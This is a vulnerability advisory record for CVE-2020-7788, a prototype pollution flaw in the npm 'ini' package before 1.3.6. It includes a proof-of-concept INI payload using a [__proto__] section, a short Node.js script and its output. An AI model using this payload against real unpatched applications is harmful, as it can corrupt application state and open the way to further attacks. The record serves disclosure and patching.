{"id":"CVE-2020-7788","aliases":["GHSA-qqgx-2p2h-9c37","SNYK-JS-INI-1048974"],"url":"https://o3.security/vulnerability/CVE-2020-7788","summary":"ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse","details":"### Overview\nThe `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability.\n\nIf an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context.\n\n### Patches\n\nThis has been patched in 1.3.6.\n\n### Steps to reproduce\n\npayload.ini\n```\n[__proto__]\npolluted = \"polluted\"\n```\n\npoc.js:\n```\nvar fs = require('fs')\nvar ini = require('ini')\n\nvar parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))\nconsole.log(parsed)\nconsole.log(parsed.__proto__)\nconsole.log(polluted)\n```\n\n```\n> node poc.js\n{}\n{ polluted: 'polluted' }\n{ polluted: 'polluted' }\npolluted\n```","published":"2020-12-11T11:15:11.447Z","modified":"2026-10-10T02:45:41.061845936Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"ini","fixedVersion":"1.3.6"}],"fix":{"url":"https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1","label":"npm/ini@56d2805"},"references":[{"type":"ADVISORY","url":"https://lists.debian.org/debian-lts-announce/2020/12/msg00032.html"},{"type":"FIX","url":"https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1"},{"type":"EVIDENCE","url":"https://snyk.io/vuln/SNYK-JS-INI-1048974"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7788"},{"type":"PACKAGE","url":"https://github.com/npm/ini"},{"type":"WEB","url":"https://www.npmjs.com/advisories/1589"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-10T02:45:41.061845936Z"}}